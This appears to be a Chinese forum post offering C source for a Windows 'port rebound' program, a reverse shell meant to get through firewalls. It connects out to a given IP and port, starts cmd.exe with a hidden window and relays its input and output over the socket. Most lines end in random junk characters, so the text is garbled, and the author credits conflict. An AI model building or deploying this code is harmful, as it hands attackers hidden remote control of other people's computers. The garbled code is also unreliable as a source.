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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,ym;2hJ  
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/* ============================== 5a&w M  
Rebound port in Windows NT y{sA["   
By wind,2006/7  R pbl)  
===============================*/ oGqv,[$qN  
#include ?x0yiV~dL  
#include 2uTa}{/%  
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#pragma comment(lib,"wsock32.lib") Ss:,#|   
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void OutputShell(); )-{~7@yqZ  
SOCKET sClient; a8 1%M  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @rMW_7[y  
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void main(int argc,char **argv) Z^l!y5s/H  
{ *J=ol  
WSADATA stWsaData; gK(4<PO'  
int nRet; !O-+ h0Z  
SOCKADDR_IN stSaiClient,stSaiServer; @FV;5M:I  
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if(argc != 3) 8iNAs#s  
{ :I('xVNPz  
printf("Useage:\n\rRebound DestIP DestPort\n"); aiHr2x6  
return;  m5pVt 4  
} w-$w  
*PEuaRDN  
WSAStartup(MAKEWORD(2,2),&stWsaData); pYG,5+g  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bAiw]xi  
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stSaiClient.sin_family = AF_INET; {p 0'Lc<3n  
stSaiClient.sin_port = htons(0); B>ZPn6?y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); A& F4;>dms  
q@9 i3*q;  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) mmL~`i/  
{ ;Y^RF?un  
printf("Bind Socket Failed!\n"); 81cmG `G7  
return; <T[N.mB  
} *F*X_O  
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stSaiServer.sin_family = AF_INET; t] wM_]+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); m-RY{DO+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y7OG[L/  
&*aU2{,s,;  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T6$<o\g'  
{ ntV >m*^  
printf("Connect Error!"); NO^t/(Z  
return; J"rwWIxO*  
} <h=M Rw,l  
OutputShell(); ?<'W~Rm6n  
} % eRwH >  
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void OutputShell() S(i(1Hs.  
{ sV[Z|$&Z  
char szBuff[1024]; Xb* _LZAU  
SECURITY_ATTRIBUTES stSecurityAttributes; h\d($Ki  
OSVERSIONINFO stOsversionInfo; M[u3]dN  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4d G-  
STARTUPINFO stStartupInfo; Z!reX6  
char *szShell; v s|6w w  
PROCESS_INFORMATION stProcessInformation; _KVB~loT  
unsigned long lBytesRead; :, [ !8QP  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3SDWR@x&  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3 ?F@jEQk  
stSecurityAttributes.lpSecurityDescriptor = 0; \STvBI?  
stSecurityAttributes.bInheritHandle = TRUE; Qu FCc1Q  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); W;dzLgc  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2gAdZE&Y  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~#_$?_/(  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lMez!qx,=  
stStartupInfo.wShowWindow = SW_HIDE; 5,BkwAr+6[  
stStartupInfo.hStdInput = hReadPipe; y=xe<#L  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; g/Jj]X#r  
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GetVersionEx(&stOsversionInfo); IQ=|Kj9h  
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switch(stOsversionInfo.dwPlatformId) "!6~*!]c  
{ Y0O<]2yVx  
case 1: y~c[sW   
szShell = "command.com"; P=[x!}.I  
break; h) PB  
default: o!r4 frP  
szShell = "cmd.exe"; ysJhP .  
break; OCO,-(  
} ' 5 qL  
({ kGK0  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); S aet";pf`  
6XL9 qb~X  
send(sClient,szMsg,77,0); >ha Ixs`9  
while(1) efkie}  
{ n3g WM C  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lkWeQ)V  
if(lBytesRead) C%?D E@k  
{ {_ho!OS>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {C0^D*U:  
send(sClient,szBuff,lBytesRead,0); "rDzrz  
} Po!JgcJ#\  
else 'Oy5G7^R  
{ {R!TUQ5  
lBytesRead=recv(sClient,szBuff,1024,0); T>Rf?%o  
if(lBytesRead<=0) break; 5uJP) S?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); eKpxskbhZ  
} #u5;utY:F  
} S%s|P=u  
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return; 2a(yR >#  
}
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